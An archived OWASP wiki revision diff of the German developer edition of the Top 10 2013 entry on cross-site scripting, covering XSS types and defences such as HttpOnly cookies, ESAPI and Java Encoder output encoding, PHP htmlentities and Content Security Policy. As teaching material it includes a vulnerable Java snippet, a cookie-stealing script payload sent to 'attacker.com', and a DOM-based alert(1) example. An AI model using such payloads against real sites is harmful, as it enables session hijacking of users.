This site is the archived OWASP Foundation Wiki and is no longer accepting Account Requests.
To view the new OWASP Foundation website, please visit https://owasp.org

Difference between revisions of "Germany/Projekte/Top 10 fuer Entwickler-2013/A3-Cross-Site Scripting (XSS)"

From OWASP
Jump to: navigation, search
(Hinweis: Eingabevalidierung: auf Server: erforderlich, Client optional (auf PHP), redaktionelle Änderung)
 
(42 intermediate revisions by 4 users not shown)
Line 1: Line 1:
{{Top_10_2010_Developer_Edition_De:TopTemplate|useprev=PrevLink_Germany_Projekte|usenext=NextLink_Germany_Projekte|next=Top_10_fuer_Entwickler/A3_Fehler_in_Authentifizierung_und_Session-Management|prev=Top_10_fuer_Entwickler/A1_Injection}}
+
{{Top_10_2013_DeveloperEdition:TopTemplate
== Seite in Bearbeitung (BAUSTELLE!!) ==
+
    |useprev=2013PrevLinkDeveloperEdition
 +
    |usenext=2013NextLinkDeveloperEdition
 +
    |prev=A2-{{Top_10_2010:ByTheNumbers
 +
              |2
 +
              |year=2013
 +
              |language=de}}
 +
    |next=A4-{{Top_10_2010:ByTheNumbers
 +
              |4
 +
              |year=2013
 +
              |language=de}}
 +
    |year=2013
 +
    |language=de
 +
}}
  
== A2 Cross-Site Scripting (XSS) ==
+
{{Top_10_2010:SubsectionColoredTemplate
 
+
      |A3 {{Top_10_2010:ByTheNumbers
{{Top_10_2010_Developer_Edition_De:SummaryTableHeaderBeginTemplate}}
+
              |3
{{Top_10_2010:SummaryTableValue-2-Template|Ausnutzbarkeit|DURCHSCHNITTLICH}}
+
              |year=2013
{{Top_10_2010:SummaryTableValue-0-Template|Verbreitung|AUSSERGEWÖHNLICH HÄUFIG}}
+
              |language=de}}
{{Top_10_2010:SummaryTableValue-1-Template|Auffindbarkeit|EINFACH}}
+
      ||year=2013
{{Top_10_2010:SummaryTableValue-2-Template|Auiswirkung|MITTEL}}
+
}}
{{Top_10_2010:SummaryTableHeaderEndTemplate}}
 
    <td {{Template:Top 10 2010:SummaryTableRowStyleTemplate}}>Jeder, der Daten, die nicht ausreichend geprüft werden, an das System übermitteln kann: externe und interne Nutzer sowie Administratoren.</td>
 
    <td {{Template:Top 10 2010:SummaryTableRowStyleTemplate}}>Der Angreifer sen-det textbasierte Angriffsskripte, die Eigenschaften des Browsers aus-nutzen. Fast jede Datenquelle kann einen Angriffsvektor beinhalten, auch interne Quellen wie Datenbanken.</td>
 
    <td colspan=2  {{Template:Top 10 2010:SummaryTableRowStyleTemplate}}>XSS ist die am weitesten verbreitete Schwachstelle in Webanwendungen. XSS-Schwachstellen treten dann auf, wenn die Anwendung vom Benutzer eingegebene Daten übernimmt, ohne sie hinreichend zu validieren und Metazeichen als Text zu kodieren. Es gibt drei Typen von XSS-Schwachstellen: 1) Persistent, 2) nicht-persistent/reflektiert, und 3) DOM-basiert (lokal). Die meisten XSS-Schwachstellen sind verhältnismäßig einfach mit Hilfe von Tests oder Code-Analyse zu erkennen.</td>
 
    <td {{Template:Top 10 2010:SummaryTableRowStyleTemplate}}>Angreifer können Skripte im Browser des Opfers ausführen und die Session übernehmen, Webseiten defacen, falsche Inhalte einfügen, Benutzer umleiten, den Browser des Benutzers durch Malware übernehmen, etc.</td>
 
    <td {{Template:Top 10 2010:SummaryTableRowStyleTemplate}}>Berücksichtigen Sie den geschäftlichen Nutzen des betrof-fenen Systems und der verarbeiteten Daten. Bedenken Sie ebenfalls die Auswirkung auf das Unternehmen bei Bekanntwerden der Schwachstelle.</td>
 
  
 +
{{Top_10_2010:SummaryTableHeaderBeginTemplate|type=images|year=2013|language=de}}
 +
  {{Top_10:SummaryTableTemplate|exploitability=2|prevalence=0|detectability=1|impact=2|language=de|year=2013}}
 +
{{Top_10_2010:SummaryTableHeaderEndTemplate|year=2013|language=de}}
 +
    <td {{Template:Top 10 2010:SummaryTableRowStyleTemplate}}>Jeder, der nicht ausreichend geprüfte Daten an das System übermitteln kann: externe und interne Nutzer, sowie Administratoren.</td>
 +
    <td {{Template:Top 10 2010:SummaryTableRowStyleTemplate}}>Der Angreifer sendet textbasierte Angriffsskripte, die Eigenschaften des Browsers ausnutzen. Fast jede Datenquelle kann einen Angriffsvektor beinhalten, auch interne Quellen wie Datenbanken.</td>
 +
    <td colspan=2  {{Template:Top 10 2010:SummaryTableRowStyleTemplate}}>
 +
XSS ist die am weitesten verbreitete Schwachstelle in Webanwendungen. XSS-Schwachstellen treten dann auf, wenn die Anwendung vom Benutzer eingegebene Daten übernimmt, ohne sie hinreichend zu validieren und Metazeichen als Text zu kodieren. Es gibt drei Typen von XSS-Schwachstellen: 1) Persistent, 2) nicht-persistent/reflektiert, und 3) DOM-basiert (lokal). Die meisten XSS-Schwachstellen sind verhältnismäßig einfach mit Hilfe von Tests oder Code-Analyse zu erkennen.</td>
 +
    <td {{Template:Top 10 2010:SummaryTableRowStyleTemplate}}>Angreifer können Skripte im Browser des Opfers ausführen und die Session übernehmen, Webseiten entstellen, falsche Inhalte einfügen, Benutzer umleiten, den Browser des Benutzers durch Malware übernehmen.</td>
 +
    <td {{Template:Top 10 2010:SummaryTableRowStyleTemplate}}>
 +
Berücksichtigen Sie den geschäftlichen Nutzen des betroffenen Systems und der verarbeiteten Daten. Bedenken Sie ebenfalls die Auswirkung auf das Unternehmen bei Bekanntwerden der Schwachstelle.</td>
 
{{Top_10_2010:SummaryTableEndTemplate}}
 
{{Top_10_2010:SummaryTableEndTemplate}}
  
{{Top_10_2010_Developer_Edition_De:SubsectionAdvancedTemplate|type={{Top_10_2010:StyleTemplate}}|number=1|risk=2}}   
+
{{Top_10:SubsectionTableBeginTemplate|type=main}} {{Top_10_2010:SubsectionAdvancedTemplate|type={{Top_10_2010:StyleTemplate}}|subsection=example|position=firstLeft|risk=3|year=2013|language=de}}   
 
Die Anwendung übernimmt nicht vertrauenswürdige Daten, die nicht auf Gültigkeit geprüft oder escaped werden, um folgenden HTML-Code zu generieren:
 
Die Anwendung übernimmt nicht vertrauenswürdige Daten, die nicht auf Gültigkeit geprüft oder escaped werden, um folgenden HTML-Code zu generieren:
{{Top_10_2010:ExampleBeginTemplate}}<span style="color:red;">(String) page += "<input name='creditcard' type='TEXT‘ value='" + request.getParameter("CC") + "'>";</span>{{Top_10_2010:ExampleEndTemplate}} <!--- ''' ... ''' zum Hervorheben des ungeprüften Pareameters eingefügt -->
+
{{Top_10_2010:ExampleBeginTemplate|year=2013}}<span style="color:red;">(String) page += "<input name='creditcard' type='TEXT' value='" '''+ request.getParameter("CC")''' + "'>";</span>{{Top_10_2010:ExampleEndTemplate}} <!--- ''' ... ''' zum Hervorheben des ungeprüften Pareameters eingefügt -->
Der Angreifer ändert den Parameter ‘CC’ in seinem Browser auf:
+
Der Angreifer ändert den Parameter <span style="color:red;">'''‘CC’'''</span> in seinem Browser auf:
{{Top_10_2010:ExampleBeginTemplate}} '><script>document.location= 'http://www.attacker.com/cgi-bin/cookie.cgi? foo='+document.cookie</script>'{{Top_10_2010:ExampleEndTemplate}}. <!--- ''' ... ''' --->
+
{{Top_10_2010:ExampleBeginTemplate|year=2013}} <span style="color:red;">'''<nowiki>'><script>document.location= 'http://www.attacker.com/cgi-bin/cookie.cgi? foo='+document.cookie</script>'</nowiki>'''</span>{{Top_10_2010:ExampleEndTemplate}}. <!--- ''' ... ''' --->
Dadurch wird die Session-ID des Benutzers an die Seite des Angreifers gesendet, so dass der Angreifer die aktuelle Benutzersession übernehmen kann. Beachten Sie bitte, dass Angreifer XSS auch nutzen können, um jegliche CSRF-Abwehr der Anwendung zu umgehen. A5 enthält weitere [[Top_10_2010-A5 | Informationen zu CSRF]].
+
Dadurch wird die Session-ID des Benutzers an die Seite des Angreifers gesendet, so dass der Angreifer die aktuelle Benutzersession übernehmen kann. Beachten Sie bitte, dass Angreifer XSS auch nutzen können, um jegliche CSRF-Abwehr der Anwendung zu umgehen. A8 enthält weitere [[{{Top_10:LanguageFile|text=documentRootTop10DeveloperEdition|language=de|year=2013}}/A8-{{Top_10_2010:ByTheNumbers|8|language=de|year=2013}}|Informationen zu CSRF]].
Grundsätzlich wird zwischen 3 Varianten für XSS unterschieden:
+
 
# '''Reflektiert bzw. nicht persistent:''' DIe Benutzereingabe wird direkt von der Webanwendung zum Benutzer zurück gesendet. Enthält die Eingabe schädlichen Skriptcode, wird dieser im Browser des Benutzers ausgeführt. Bsp.: Benutzerforen, Gästebuch,...
+
<!--- Ergaenzung der Top 10 fuer Entwickler: --->
# '''beständig bzw. persistent''': schädlicher Skriptcode wird zunächst in der Webanwendung gespeichert und erst später bei Anfragen ausgeliefert. Bsp.: Suchergebnisse, Fehlermeldungen oder andere Antworten Ses Webservers, die Teile der Eingabe enthalten.
+
Es wird zwischen 3 Varianten für XSS unterschieden:
# '''DOM-basiert oder lokal''': Schadcode wird direkt an ein client-seitiges Skript übergeben. Die Webanwendung ist überhaupt nicht beteiligt.
+
# '''Reflektiert bzw. nicht persistent:''' Die Benutzereingabe wird direkt von der Webanwendung zum Benutzer zurück gesendet. Enthält die Eingabe schädlichen Skriptcode, wird dieser im Browser des Benutzers ausgeführt. Bsp.: Benutzerforen, Gästebuch,...
 +
# '''beständig bzw. persistent''': schädlicher Skriptcode wird zunächst in der Webanwendung gespeichert und erst später bei Anfragen ausgeliefert. Bsp.: Suchergebnisse, Fehlermeldungen oder andere Antworten des Webservers, die Teile der Eingabe enthalten.
 +
# '''DOM-basiert oder lokal''': Schadcode wird direkt an ein client-seitiges Skript übergeben. Die Webanwendung ist überhaupt nicht beteiligt. Bsp: <!--- Source: OWASP Proactive Controls: ---> {{Top_10_2010:ExampleBeginTemplate|year=2013}}/* Falls die Webseite '<nowiki>http://www.example.com/test.html</nowiki>' folgenden Source-Code enthält */<br><span style="color:red;"><nowiki><script></nowiki><br><nowiki>&nbsp;&nbsp;document.write("Current URL : " + document.baseURI);</nowiki><br><nowiki></script></nowiki></span><br>/* kann der XSS-Angriff via lokaler DOM über folgenden 'Link' erfolgen: */<br><span style="color:red;"><nowiki>http://www.example.com/test.html</nowiki>'''#<nowiki><script>alert(1)</script></nowiki>'''</span>{{Top_10_2010:ExampleEndTemplate}} <!--- ''' ... ''' zum Hervorheben des DOM ausgeführten Sktipts-->
  
{{Top_10_2010_Developer_Edition_De:SubsectionAdvancedTemplate|type={{Top_10_2010:StyleTemplate}}|number=2|risk=2}}  
+
{{Top_10_2010:SubsectionAdvancedTemplate|type={{Top_10_2010:StyleTemplate}}|subsection=howPrevent|position=right|risk=3|year=2013|language=de}}  
 
'''Um XSS zu verhindern, müssen nicht vertrauenswürdige Daten von aktiven Browserinhalten getrennt werden.'''
 
'''Um XSS zu verhindern, müssen nicht vertrauenswürdige Daten von aktiven Browserinhalten getrennt werden.'''
# Vorzugsweise sollten nicht vertrauenswürdige Metazeichen für den Kontext, in dem sie ausgegeben werden (HTML, JavaScript, CSS, URL usw.), entsprechend escaped werden. Entwickler müssen dies in ihren Anwendungen umsetzen, solange dies nicht bereits durch ein korrekt eingesetztes Framework sichergestellt ist. Das [[XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet | OWASP XSS Prevention Cheat Sheet]] enthält weitere Informationen zu Escaping-Techniken.'''
+
# Vorzugsweise sollten nicht vertrauenswürdige Metazeichen dem Kontext, in dem sie ausgegeben werden (HTML, JavaScript, CSS, URL usw.), entsprechend escaped werden. Das <u>[[XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet | OWASP XSS Prevention Cheat Sheet]]</u> enthält weitere Informationen zu Escaping-Techniken.
# Eingabeüberprüfungen durch Positivlisten (“White-listing") mit einer angemessenen Kanonisierung und Dekodierung wird empfohlen. Dieses Vorgehen bietet jedoch '''<u>keinen umfassenden Schutz</u>''', da viele Anwendungen Metazeichen als Eingabemöglichkeit erfordern. Eine Gültigkeitsprüfung sollte kodierte Eingaben dekodieren und auf Länge, Zeichen und Format prüfen, bevor die Eingabe akzeptiert wird.
+
# Eine Eingabeüberprüfung durch Positivlisten (“White-listing") wird empfohlen. Dieses Vorgehen bietet jedoch '''<u>keinen umfassenden Schutz</u>''', da viele Anwendungen Metazeichen als Eingabemöglichkeit erfordern. Eine Gültigkeitsprüfung sollte kodierte Eingaben normalisieren und auf Länge, Zeichen und Format prüfen, bevor die Eingabe akzeptiert wird.
# Ziehen Sie auch Mozillas [https://developer.mozilla.org/en/Introducing_Content_Security_Policy Content Security Policy] als Schutz gegen XSS in Betracht.
+
# Für komplexe Inhalte sollten Hilfsbibliotheken wie OWASP’s <u>[[AntiSamy]]</u> oder das <u>[[OWASP_Java_HTML_Sanitizer_Project|Java HTML Sanitizer Project]]</u> in Betracht gezogen werden.
</td> </tr>
+
# Content Security Policies (CSP) können als globaler Schutz Ihrer gesamten Anwendung gegenüber XSS eingesetzt werden. <!--- Ergaenzung der Top 10 fuer Entwickler: ---> (vgl. <u>[https://developer.mozilla.org/en/Introducing_Content_Security_Policy Mozilla: Content Security Policy])</u>
 +
<b>Anmerkung:</b> Die beschriebenen Maßnahmen sind auf dem (Anwendungs-)Server umzusetzen bzw. durchzusetzen, optional können sie teilweise <u>zusätzlich</u> auf dem Client (z.B. Eingabeprüfung per Java Skript) realisiert werden, um den Benutzer frühzeitig über Falscheingaben zu informieren.
 +
{{Top_10:SubsectionTableEndTemplate}}
 +
 
 +
= '''JAVA''' = 
 +
<!--- Lasche fuer Java --->
 +
{{Top_10:SubsectionTableBeginTemplate|type=headertab}} {{Top_10_2010:SubsectionAdvancedTemplate|type={{Top_10_2010:StyleTemplate}}|subsection=defOp|position=firstLeft|title=1|risk=3|year=2013|language=de}}
 +
====Schutz gegen Diebstahl der Session durch XSS====
 +
Ein sehr einfach zu realisierender Schutz der eigentlichen Session-ID besteht darin für ein Session-Cookie grundsätzlich das Flag "httponly" zu setzen. Dieses Flag teilt dem Browser mit, dass ein Zugriff eines Client-Scripts (egal woher es kommt) auf das Session-Cookie nicht erlaubt ist. Normalerweise gibt es auch keinen Grund warum dies nötig sein sollte.
 +
 
 +
Es gibt verschiedene Möglichekeiten dieses Flag zu setzen:
 +
{{Top_10_2010:ExampleBeginTemplate|year=2013}}
 +
//Programmatisch<br/>
 +
Cookie cookie = getMyCookie("myCookieName");<br/>
 +
cookie.setHttpOnly(true);
 +
 
 +
 
 +
//konfigurativ (Bsp. Deployment Descriptor WEB-INF/web.xml ab JEE6)<br/>
 +
<session-config><br/>
 +
:<cookie-config><br/>
 +
::<http-only>true</http-only><br/>
 +
:</cookie-config><br/>
 +
</session-config><br/>
 +
{{Top_10_2010:ExampleEndTemplate}}
 +
Weitere Details dazu finden sich unter [https://www.owasp.org/index.php/HttpOnly OWASP HttpOnly]
  
 +
;ACHTUNG!!!
  
<tr><td border="0" colspan="2">
+
Durch diese Maßnahme wird das Thema XSS nur zu einem Teil addressiert, nur der Diebstahl von Cookies wird verhindert. Tatsächlich werden Cookies nicht unbedingt für einen erfolgreichen Angriff benötigt, man kann auch die Anwendungslogik auch ohne Cookies angreifen wenn übergebene Daten nicht ausreichend geprüft werden. Näheres findet zu diesem Aspekt man bei [http://www.gnucitizen.org/blog/why-httponly-wont-protect-you/ Why HttpOnly won’t protect you]. Je nach Schutzbedarf der Anwendung sollten deshalb auch die weiteren Verteidungsoptionen gegen XSS geprüft werden.
  
= '''JAVA''' =
+
Diese Maßnahme ist jedoch sehr einfach umzusetzen und und gehört aus diesem Grund grundsätzlich in jede Anwendung. Sie verringert die Angreifbarkeit der Anwendung in einem signifikantem Umfang, da weiterführende Angriffe erst einmal einen wesentlich größeren Aufwand für den Angreifer bedeuten.
<!-- z.Z ohne Template --->
+
 
 +
{{Top_10_2010:SubsectionAdvancedTemplate|type={{Top_10_2010:StyleTemplate}}|subsection=defOp|position=right|title=2|risk=3|year=2013|language=de}}
 +
====Reflektiertes und Persistentes XSS====
 +
<b>Canonicalize Input</b>
 +
Setze Zeichenkodierung und Sprache auf die einfachste Form, z.B. im Header der ausgelieferten Seiten: <b>Content-Type: text/html; charset=utf-8, Accept-Language: da, en-gb;q=0.8, en;q=0.7</b>. Damit reduzieren sich die Möglichkeiten nachfolgende Validierungsroutinen zu umgehen.
 +
 
 +
<b>Validate Input Using a Whitelist</b>
 +
Whitelist validation (accept only known good data) is a key tenet of good security. Check the content of the data, the length, data type, etc.
 +
* Validierung gegen Positiv-Listen z.B. <b>[^[a-zA-Z0-9+&*-]+(?:\.[a-zA-Z0-9_+&*-]+)*@(?:[a-zA-Z0-9-]+\.)+[a-zA-Z]{2,7}$]]</b> für das Format der Email-Adresse. Weitere Beispiele befinden sich im [[OWASP_Validation_Regex_Repository | OWASP Validation Regex Repository]].
 +
 
 +
 
 +
<b>Contextual Output Encoding/Escaping:</b>
 +
Output Escaping is the last step, and must be done for the appropriate context. You must understand where you’re sticking data, and how that location is interpreted from the browser’s view. This can be a sticky issue, so this one gets a bit problematic.
  
{{Top_10_2010_Developer_Edition_De:SubsectionAdvancedTemplate|type={{Top_10_2010:StyleTemplate}}|number=3|risk=2}}
+
* Ist nicht ausreichend, falls Metazeichen (im wesentlichen %&/()=?{[]}\+*~<>|,;.:-^' usw.) verarbeitet werden müssen. In diesem Fall sind solche Metazeichen nach Möglichkeit geeignet zu kodieren (insbes. & zu &amp, < zu &lt, > zu &gt, " zu &quot, ' zu &#x27 und / zu &#x2F). Die Verwendung von Frameworks wie ESAPI erlaubt eine vollständigere Lösung des Problems:
====XSS====
+
;<u>[http://owasp-esapi-java.googlecode.com/svn/trunk_doc/latest/org/owasp/esapi/Encoder.html ESAPI Encoder API]</u>
{{Top_10_2010:ExampleBeginTemplate}}
+
{{Top_10_2010:ExampleBeginTemplate|year=2013}}
tbd
+
String safeEncodedOutput = <br/>
 +
:::ESAPI.encoder().encodeForHTML(request.getParameter( "input" ));
 +
{{Top_10_2010:ExampleEndTemplate}}
 +
<br/>
 +
;<u>[[OWASP Java Encoder Project|OWASP Java Encoder Project]]</u>
 +
'Encode.forHtml(...)' bzw. 'Encode.forJavaScript(...)' wären aus Sicherheitssicht ebenfalls möglich, sie sind jedoch nicht so performant (da sie mehr Zeichen, als notwendig umcodieren würden).<br/>
 +
{{Top_10_2010:ExampleBeginTemplate|year=2013}}
 +
String safeEncodedOutput = <br/>
 +
:::Encode.forHtmlContent(request.getParameter( "input" ));<br/>
 +
;Beispiele für JSP<br/>
 +
<input type="text" name="data" value="<%= Encode.forHtmlAttribute (dataValue) %>" /><br/>
 +
<br/>
 +
<script type="text/javascript”> <br/>
 +
var msg= "<%=Encode.forJavaScriptBlock (message) %>”; alert(msg);<br/>
 +
</script> <br/>
 
{{Top_10_2010:ExampleEndTemplate}}
 
{{Top_10_2010:ExampleEndTemplate}}
 +
'''Quellen:''' [[OWASP_Java_Encoder_Project#Use_the_Java_Encoder_Project|Use_the_Java_Encoder_Project]], [http://secappdev.org/handouts/2013/Jim%20Manico/secure%20coding.pdf Approaching Secure Code]
 +
 +
<b>Anmerkung:</b> Die beschriebenen Maßnahmen sind auf dem (Anwendungs-)Server umzusetzen bzw. durchzusetzen, optional können sie teilweise <u>zusätzlich</u> auf dem Client (z.B. Eingabeprüfung per Java Skript) realisiert werden, um den Benutzer frühzeitig über Falscheingaben zu informieren.
 +
 +
{{Top_10_2010:SubsectionAdvancedTemplate|type={{Top_10_2010:StyleTemplate}}|subsection=defOp|position=left|title=3|risk=3|year=2013|language=de}}
 +
====Content Security Policy (CSP)====
 +
CSP erzwingt eine stringente Trennung des Javascript-Codes vom Inhalt und ermöglich damit ein strikte Kontrolle der Herkunft des Codes.
 +
 +
Um CSP zu aktivieren muss der Header X-Content-Security-Policy (für Firefox und IE10; X-WebKit-CSP für Chrome und Safari) in der http-Antwort gesetzt werden:
  
{{Top_10_2010_Developer_Edition_De:SubsectionAdvancedTemplate|type={{Top_10_2010:StyleTemplate}}|number=4|risk=2}}
+
{{Top_10_2010:ExampleBeginTemplate|year=2013}}<span style="color:red;">response.setHeader( "X-Content-Security-Policy", "'self'; img-src *; object-src media1.com media2.com; script-src scripts.example.com" );
====XSS====
+
</span>{{Top_10_2010:ExampleEndTemplate}}
{{Top_10_2010:ExampleBeginTemplate}}
+
 
 +
<b>Sobald CSP-Header gesetzt werden gelten in einem kompatiblen Browser folgende Einschränkungen:</b>
 +
* inline-Skripte werden nicht mehr ausgeführt (<spript>-Tag, javascript URIs, event handling Attribute), d.h. Javascript Code muss vollständig in externe .js-Dateien ausgelagern.
 +
* eval(), setTimeout(string), setIntervall(string) und new function wird geblockt, da diese Funktionen die Umwandlung von Inhalt in Code erlauben
 +
 
 +
Ältere Browser ignorieren den Header. Aus diesem Grund sollte man sich zu diesem Zeitpunkt noch nicht ausschließlich auf CSP verlassen, sondern es als eine flankierende Maßnahme ansehen.
 +
Weitere Informationen zu CSP findet man [https://wiki.mozilla.org/Security/CSP/Deploying wiki.mozilla.org]
 +
 
 +
Auf Heise Security ist eine detaillierte Beschreibung zu CSP erschienen: [http://www.heise.de/security/artikel/XSS-Bremse-Content-Security-Policy-1888522.html Bodyguard für Webseiten]
 +
 
 +
{{Top_10_2010:SubsectionAdvancedTemplate|type={{Top_10_2010:StyleTemplate}}|subsection=defOp|position=right|title=4|risk=3|year=2013|language=de}}
 +
====DOM-basiertes oder lokales XSS====
 +
 
 +
Vergleiche Beispiele im '[[DOM_based_XSS_Prevention_Cheat_Sheet|DOM based XSS Prevention Cheat Sheet]]'
 +
 
 +
 
 +
{{Top_10_2010:SubsectionAdvancedTemplate|type={{Top_10_2010:StyleTemplate}}|subsection=references|position=whole|risk=3|year=2013|language=de}}
 +
{{Top_10_2010:SubSubsectionOWASPReferencesTemplate}}
 +
* [[XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet|OWASP XSS Prevention Cheat Sheet]]
 +
* [[DOM_based_XSS_Prevention_Cheat_Sheet|OWASP DOM based XSS Prevention Cheat Sheet]]
 +
* [[OWASP_Proactive_Controls | OWASP Proactive Controls:]] Kapitel über [[OWASP_Proactive_Controls#3:_Encode_Data|'Encode Data']] und [[OWASP_Proactive_Controls#4:_Validate_All_Inputs|'Validate all Inputs']]
 +
* [[Cross-site_Scripting_(XSS) | OWASP Cross-Site Scripting Article]]
 +
* [http://secappdev.org/handouts/2013/Jim%20Manico/secure%20coding.pdf Approaching Secure Code]
 +
* [http://owasp-esapi-java.googlecode.com/svn/trunk_doc/latest/org/owasp/esapi/Encoder.html ESAPI Encoder API]
 +
* [[OWASP Java Encoder Project|OWASP Java Encoder Project]]
 +
* [http://www.owasp.org/index.php/ASVS#tab=Downloads ASVS: Output Encoding/Escaping Requirements (V6)]
 +
* [http://www.owasp.org/index.php/ASVS#tab=Downloads ASVS: Input Validation Requirements (V5)]
 +
* [[Testing_for_Data_Validation | Testing Guide: 1st 3 Chapters on Data Validation Testing]]
 +
* [[Reviewing_Code_for_Cross-site_scripting | OWASP Code Review Guide: Chapter on XSS Review]]
 +
* [[Content_Security_Policy | Content Security Policy]]
 +
* [[Media:OWASP_MUC_csp_lightning-talk.pdf | Überblick über Content Security Policy (CSP) - ein Verfahren zur Verhinderung von XSS-Angriffen (Lightning-Talk von Christine Koppelt)]]
 +
 
 +
{{Top_10_2010:SubSubsectionExternalReferencesTemplate|language=de}}
 +
* [http://cwe.mitre.org/data/definitions/79.html CWE Entry 79 on Cross-Site Scripting]
 +
* [http://ha.ckers.org/xss.html RSnake's XSS Attack Cheat Sheet]
 +
* [https://developer.mozilla.org/en/Introducing_Content_Security_Policy Firefox 4’s Anti-XSS Content Security Policy Mechanism]
 +
* W3C-Spezifikation Content Security Policy [http://www.w3.org/TR/CSP/ Version 1.0,] [http://www.w3.org/TR/CSP11/ DRAFT für 1.1]
 +
{{Top_10:SubsectionTableEndTemplate}}{{Top 10 DeveloperEdition:NavigationByHeadertab
 +
    |headertab=JAVA
 +
    |useprev=2013PrevHeaderTabDeveloperEdition
 +
    |usenext=2013NextHeaderTabDeveloperEdition
 +
    |prev=A2-{{Top_10_2010:ByTheNumbers
 +
              |2
 +
              |year=2013
 +
              |language=de}}
 +
    |next=A4-{{Top_10_2010:ByTheNumbers
 +
              |4
 +
              |year=2013
 +
              |language=de}}
 +
    |year=2013
 +
    |language=de
 +
}}
 +
 
 +
= '''PHP''' = 
 +
{{taggedSection
 +
    | type=tbd
 +
    | comment=Bitte senden Sie uns weitere gute Beispiele mit PHP für diesen Abschnitt.
 +
}}
 +
<!-- weitere Programmiersprachen oder evtl Anti-Beispiele --->
 +
{{Top_10:SubsectionTableBeginTemplate|type=headertab}} {{Top_10_2010:SubsectionAdvancedTemplate|type={{Top_10_2010:StyleTemplate}}|subsection=defOp|position=firstLeft|title=1|risk=3|year=2013|language=de}}
 +
{{Top_10_2010:ExampleBeginTemplate|year=2013}}
 
tbd
 
tbd
 +
Text
 
{{Top_10_2010:ExampleEndTemplate}}
 
{{Top_10_2010:ExampleEndTemplate}}
  
{{Top_10_2010_Developer_Edition_De:SubsectionAdvancedTemplate|type={{Top_10_2010:StyleTemplate}}|number=6|risk=2}}
+
{{Top_10_2010:SubsectionAdvancedTemplate|type={{Top_10_2010:StyleTemplate}}|subsection=defOp|position=right|title=2|risk=3|year=2013|language=de}}
 
====Reflektiertes und Persistentes XSS====
 
====Reflektiertes und Persistentes XSS====
 
<b>Canonicalize Input</b>
 
<b>Canonicalize Input</b>
Line 61: Line 200:
 
<b>Validate Input Using a Whitelist</b>
 
<b>Validate Input Using a Whitelist</b>
 
Whitelist validation (accept only known good data) is a key tenet of good security. Check the content of the data, the length, data type, etc.
 
Whitelist validation (accept only known good data) is a key tenet of good security. Check the content of the data, the length, data type, etc.
* Validierung gegen Positiv-Listen z.B. <b>[^[a-zA-Z0-9+&*-]+(?:\.[a-zA-Z0-9_+&*-]+)*@(?:[a-zA-Z0-9-]+\.)+[a-zA-Z]{2,7}$]]</b> für das Format der Email-Adresse. Weitere Beispiele finden unter [[OWASP_Validation_Regex_Repository | OWASP Validation Regex Repository]]
+
* Validierung gegen Positiv-Listen z.B. <b>[^[a-zA-Z0-9+&*-]+(?:\.[a-zA-Z0-9_+&*-]+)*@(?:[a-zA-Z0-9-]+\.)+[a-zA-Z]{2,7}$]]</b> für das Format der Email-Adresse. Weitere Beispiele befinden sich im [[OWASP_Validation_Regex_Repository | OWASP Validation Regex Repository]].
*
 
*
 
  
  
Line 69: Line 206:
 
Output Escaping is the last step, and must be done for the appropriate context. You must understand where you’re sticking data, and how that location is interpreted from the browser’s view. This can be a sticky issue, so this one gets a bit problematic.
 
Output Escaping is the last step, and must be done for the appropriate context. You must understand where you’re sticking data, and how that location is interpreted from the browser’s view. This can be a sticky issue, so this one gets a bit problematic.
  
* sind nicht ausreichend, falls Metazeichen (im wesentlichen %&/()=?{[]}\+*~<>|,;.:-^' usw.) verarbeitet werden müssen. In diesem sind diese Metazeichen nach Möglichkeit geeignet kodiert werden (insbes. & zu &amp, < zu &lt, > zu &gt, " zu &quot, ' zu &#x27 und / zu &#x2F). Die Verwendung von Frameworks wie ESAPI erlaubt eine vollständigere Lösung des Problems:
+
* Ist nicht ausreichend, falls Metazeichen (im wesentlichen %&/()=?{[]}\+*~<>|,;.:-^' usw.) verarbeitet werden müssen. In diesem Fall sind solche Metazeichen nach Möglichkeit geeignet zu kodieren (insbes. & zu &amp, < zu &lt, > zu &gt, " zu &quot, ' zu &#x27 und / zu &#x2F).  
{{Top_10_2010:ExampleBeginTemplate}}
+
 
String safe = ESAPI.encoder().encodeForHTML( request.getParameter( "input" ) );
+
{{Top_10_2010:ExampleBeginTemplate|year=2013}}
 +
/* encoding for html */
 +
 
 +
echo htmlentities($input, ENT_QUOTE | ENT_SUBSTITUTE, 'UTF-8');
 +
{{Top_10_2010:ExampleEndTemplate}}
 +
 
 +
Um JSON in HTML-Attributen sicher auszugeben ist json_encode alleine nicht ausreichend.
 +
{{Top_10_2010:ExampleBeginTemplate|year=2013}}
 +
/* encoding for json */
 +
 
 +
echo htmlentities(json_encode($input), ENT_QUOTE | ENT_SUBSTITUTE, 'UTF-8');
 
{{Top_10_2010:ExampleEndTemplate}}
 
{{Top_10_2010:ExampleEndTemplate}}
  
{{Top_10_2010_Developer_Edition_De:SubsectionAdvancedTemplate|type={{Top_10_2010:StyleTemplate}}|number=7|risk=2}}
+
<b>Anmerkung:</b> Die beschriebenen Maßnahmen sind auf dem (Anwendungs-)Server umzusetzen bzw. durchzusetzen, optional können sie teilweise <u>zusätzlich</u> auf dem Client (z.B. Eingabeprüfung per Java Skript) realisiert werden, um den Benutzer frühzeitig über Falscheingaben zu informieren.
====DOM-basiertes oder lokales XSS====
+
{{Top_10_2010:SubsectionAdvancedTemplate|type={{Top_10_2010:StyleTemplate}}|subsection=defOp|position=left|title=3|risk=3|year=2013|language=de}}
(ganze Breite)
+
====Content Security Policy (CSP)====
 +
CSP erzwingt eine stringente Trennung des Javascript-Codes vom Inhalt und ermöglich damit ein strikte Kontrolle der Herkunft des Codes.
 +
 
 +
Um CSP zu aktivieren muss der Header X-Content-Security-Policy (für Firefox und IE10; X-WebKit-CSP für Chrome und Safari) in der http-Antwort gesetzt werden:
 +
 
 +
{{Top_10_2010:ExampleBeginTemplate|year=2013}}<span style="color:red;">header( "X-Content-Security-Policy", "'self'; img-src *; object-src media1.com media2.com; script-src scripts.example.com" );
 +
</span>{{Top_10_2010:ExampleEndTemplate}}
 +
 
 +
<b>Sobald CSP-Header gesetzt werden gelten in einem kompatiblen Browser folgende Einschränkungen:</b>
 +
* inline-Skripte werden nicht mehr ausgeführt (<script>-Tag, javascript URIs, event handling Attribute), d.h. Javascript Code muss vollständig in externe .js-Dateien ausgelagern.
 +
* eval(), setTimeout(string), setIntervall(string) und new function wird geblockt, da diese Funktionen die Umwandlung von Inhalt in Code erlauben
 +
 
 +
